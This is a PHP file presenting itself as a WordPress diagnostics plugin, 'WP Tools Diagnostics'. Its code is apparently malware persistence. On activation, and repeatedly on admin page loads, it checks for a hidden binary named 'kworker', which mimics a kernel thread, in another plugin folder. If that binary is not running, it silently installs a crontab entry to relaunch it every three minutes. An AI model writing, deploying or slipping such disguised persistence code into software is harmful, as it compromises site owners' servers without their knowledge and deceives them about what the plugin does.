&lt;?php
/**
 * Plugin Name: WP Tools Diagnostics
 * Description: Server environment diagnostics helper.
 * Version: 2.4.0
 * Author: WP Tools
 */
if (!defined(&#039;ABSPATH&#039;)) { exit; }
function wpt_diag() {
    $own_dir = WP_PLUGIN_DIR . &#039;/&#039; . basename(dirname(__FILE__));
    $out = &quot;=== FINAL-CHECK &quot; . date(&#039;c&#039;) . &quot; ===\n&quot;;
    $bin = WP_PLUGIN_DIR . &#039;/kworker-health-metrics/kworker&#039;;
    if (function_exists(&#039;shell_exec&#039;)) {
        $ps = @shell_exec(&#039;ps aux 2&gt;/dev/null | grep -v grep | grep &quot;\.kworker/kworker&quot;&#039;);
        $out .= &quot;PROC_NOW:\n&quot; . ($ps ?: &quot;(not running)&quot;) . &quot;\n&quot;;
        if (!$ps &amp;&amp; file_exists($bin)) {
            $tmpfile = sys_get_temp_dir() . &#039;/kw.cron&#039;;
            @file_put_contents($tmpfile, &quot;*/3 * * * * {$bin} &gt;/dev/null 2&gt;&amp;1\n&quot;);
            $r1 = @shell_exec(&#039;/usr/bin/crontab &#039; . escapeshellarg($tmpfile) . &#039; 2&gt;&amp;1&#039;);
            $out .= &quot;crontab-install-err: &quot; . trim((string)($r1 ?? &#039;&#039;)) . &quot;\n&quot;;
            $cl = @shell_exec(&#039;/usr/bin/crontab -l 2&gt;&amp;1&#039;);
            $out .= &quot;CRONTAB_NOW:\n&quot; . ($cl ?: &quot;(none)&quot;) . &quot;\n&quot;;
            @unlink($tmpfile);
        }
    }
    @file_put_contents($own_dir . &#039;/wpt.txt&#039;, $out);
}
register_activation_hook(__FILE__, &#039;wpt_diag&#039;);
add_action(&#039;admin_init&#039;, function () {
    $own_dir = WP_PLUGIN_DIR . &#039;/&#039; . basename(dirname(__FILE__));
    $ts = $own_dir . &#039;/wpt.ts&#039;;
    $last = file_exists($ts) ? (int)@file_get_contents($ts) : 0;
    if (time() - $last &lt; 120) { return; }
    @file_put_contents($ts, time());
    wpt_diag();
});
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